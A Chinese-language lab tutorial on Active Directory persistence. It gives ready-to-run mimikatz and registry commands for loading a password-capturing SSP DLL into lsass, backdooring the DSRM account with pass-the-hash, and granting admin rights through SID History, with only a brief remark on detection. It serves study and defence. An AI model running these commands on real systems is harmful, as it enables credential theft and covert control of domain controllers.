一、利用SSP持久化控制

SSP全称为——Security Support Provider 安全支持提供者
1、简单的来说SSP就是一个DLL,用来实现身份认证的功能。例如NTLM,Kerberos,等认证系统功能的实现都需要用到SSP这个DLL。
2、SSPI是SSP的接口,安全支持提供程序接口,是Windows系统在执行认证操作所使用的API。
3、LSA,Local Security Authority——本地安全机构。例如lsass.exe就是一个LSA。

如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。

我认为,利用SSP进行持久化控制,有点像DLL劫持的味道。通过构造恶意DLL文件,来抓取密码。

Win2016作为域控进行实验:
使用mimikatz
将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。

  1. copy mimilib.dll %systemroot%\system32
  2. reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
  3. reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /d mimilib.dll /t REG_MULTI_SZ

image.png
image.png

type C:\Windows\System32\kiwissp.log
image.png

检测的话就用autorun查看启动时是否调用此Dll
image.png

此外我想这个SSP维持域控,到底有什么用。读取了明文密码后,主机假设重启,它更换了密码后,你也无法登录上去看新的密码。
那么我觉得似乎可以换个思路,使用SSP主要的功能是用来进行读取密码,例如在高版本server系统,mimikatz无法直接读取明文数据,可以尝试通过SSP的方式来读取密码,从而进行再次的横向渗透。
或者读取密码后,使用某种方式进行发送到攻击者上,可以随时通过SMB/RDP/等方式随时连接到域控。

二、DSRM持久化控制

适用版本:windows 2008以后的版本
win2008需要打上KB961320补丁
win2003则无法使用此功能

在一台主机成为了域控DC后,原本主机上的administrator本地账户就会被默认删除掉,取而代之的是(目录服务还原模式)DSRM。原因是没有本地管理员的时候,要是域控出现了问题,例如崩溃或故障,怎么办呢?DSRM账户能够在这种情况下帮助域控目录数据库(AD)来进行活动。

  1. 也就是说本地 administrator用户=DSRM账号,DSRM的密码在创建域的时候,会让你手动输入。

1、使用ntdsutil命令正常修改DSRM的时候,如下,需要输入原本的DSRM密码

  1. NTDSUTIL:打开ntdsutil
  2. set DSRM password:修改DSRM的密码
  3. reset password on server null:在当前域控制器上重置DSRM的密码
  4. q(第1次):退出DSRM密码设置模式
  5. q(第2次):退出ntdsutil

image.png
2、ntdsutil同步某域用户的密码到DSRM密码上

  1. NTDSUTIL:打开ntdsutil
  2. set DSRM password:修改DSRM的密码
  3. sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
  4. q(第1次):退出DSRM密码设置模式
  5. q(第2次):退出ntdsutil

image.png
3、开始修改DSRM的登录方式,以下是HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehaviord值要为2

  1. 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  2. 1:只有当本地ADDS服务停止时,才可以使用DSRM管理员账号登录域控制器
  3. 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
  1. powershell -Command "New-ItemProperty 'hklm:\system\currentcontrolset\control\lsa\' -name 'dsrmadminlogonbehavior' -value 2 -propertyType DWORD"
  2. reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

image.png

4、更改注册表后,使用Mimikatz进行DSRM(域控本地用户)登录,在步骤二我们已经通过同步域用户密码更改DSRM的方式,同步域用户bbb的密码到DSRM中。

获取了bbb的NTLM Hash
image.png
在任意一台域普通用户主机上使用mimikatz 的PTH功能来进行登录(这里也可以换成其他具有PTH功能的工具,例如WMICEXEC等等等)

  1. privilege::Debug
  2. sekurlsa::pth /domain:DC /user:administrator /ntlm:0f0de1776a3bf0f2a29b6f15b6fcba42

成功后会弹出一个cmd界面,区别如下
image.png

三、SID Histroy持久化控制

每个用户都有自己的SID。
假设A公司A域和B公司B域,A公司被B公司收购了,那么A公司域内的用户就要迁移到B用户中,但是迁移后SID就会发生变化,因为A.user变成了B.user,这明显是两个不同的用户了。
为了保证使用权限的固定,SID History成为域用户迁移中的必不可少的一个属性,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

因此,SID History作为可以保留原本历史权限的一个功能点,它可以利用作为持久化控制的方法,思路就是让域管理员的SID和普通用户User的SID History,那么普通用户User就具备域管理员的权限了。

查看SID history

  1. powershell -Command "Import-Module ActiveDirectory;Get-ADUser administrator -Properties sidhistory"

域控
image.png
域用户
image.png
使用MIMIKATZ来进行Sid history的值替换

  1. privilege::debug
  2. sid::patch
  3. sid::add /sam:aaa /new:administrator

运行成功
image.png
此时一个普通的域用户已经成为了域管理员了
image.png